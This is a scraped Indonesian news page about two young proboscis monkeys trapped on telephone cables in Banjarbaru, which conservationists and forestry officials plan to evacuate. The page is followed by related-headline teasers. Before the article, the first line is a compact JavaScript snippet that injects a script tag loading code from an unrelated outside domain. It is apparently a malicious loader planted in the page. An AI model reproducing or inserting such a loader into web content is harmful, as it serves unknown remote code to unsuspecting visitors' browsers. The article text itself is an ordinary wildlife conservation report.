(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU, Terjebak di kawasan perkantoran Km 19 Banjarbaru, dua ekor bekantan muda yang bertengger di kabel telepon, Yayasan Sahabat Bekantan Indonesia (SBI) berkoordinasi dengan Balai Konservasi Sumber Daya Alam ( BKSDA ) Kalsel serta Dinas Kehutanan (Dishut) Kalsel, segera lakukan evakuasi ke tempat yang lebih aman.
Kisah terjebaknya bekantan di permukiman warga ini dinilai Amalia Rezeki, Ketua Yayasan SBI, sebagai dampak dari kebakaran hutan dan lahan yang terjadi akhir tahun lalu. Sehingga kelompok bekantan melakukan migrasi untuk mencari habitat baru. Disamping itu kawasan Km 17 yang dulunya merupakan habitat bekantan, sekarang sudah mulai tergerus lantaran alih fungsi lahan.
“Kami sangat berterimakasih dan mengapresiasi terhadap warga yang dengan sigap melaporkannya dan ini menunjukkan tingkat kepedulian warga terhadap maskot kebanggaannya cukup tinggi,” kata Amalia Rezeki.
Ditambahkan Amalia, Februari 2020 ini saja, sudah sekitar enam kali laporan warga yang menyatakan terdapat bekantan yang terjebak di area permukiman dan perkebunan warga. Konflik antara manusia dengan bekantan tak terhindarkan, bekantan diduga diburu, dilukai dan ada yang tersengat listrik serta tertabrak motor.
Kisah pilu tentang si monyet berhidung mancung ini sepertinya akan terus berlanjut, jika tidak dilakukan penanganan dengan serius, dan melibatkan semua stake holder. Termasuk warga yang diperlukan pemahamannya, agar tidak terjadi konflik yang ujung-ujungnya bekantan sang maskot kebanggaan Kalsel menjadi korban.
“Kami mendapat laporan dari warga, bahwa ada sekelompok bekantan yang terjebak di area perkantoran di jalan Jendral A Yani Km 19 Banjarbaru. Sore itu kami langsung menuju ke lokasi, dan ternyata benar ada dua ekor bekantan jantan muda yang sedang tidur bertengger diatas kabel telepon. Kami sangat miris melihatnya. Wajahnya pucat pasi dan terlihat sangat stress,” jelas Amalia.
Kejadian yang dilaporkan juga kepada BKSDA Kalsel serta Dishut Kalsel ini kemudian direspon dengan cepat. Dan rencana besoknya akan dikordinasikan kesemua pihak yang berkepentingan untuk mengambil langkah bersama, dalam rangka menyelamatkan sang maskot.
“Besok pagi kami akan berkordinasi dengan pimpinan Kepala Dinas Kehutanan Kalsel dan BKSDA Kalsel serta mitra konservasi kami SBI, untuk mengambil langkah selanjutnya. Tentunya, harapan kami dapat dievakuasi dan ditempatkan kehabitat alaminya yang lebih aman,” kata Supiani dari Bidang KSDAE Dishut Kalsel. (Kanalkalimantan.com/rdy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.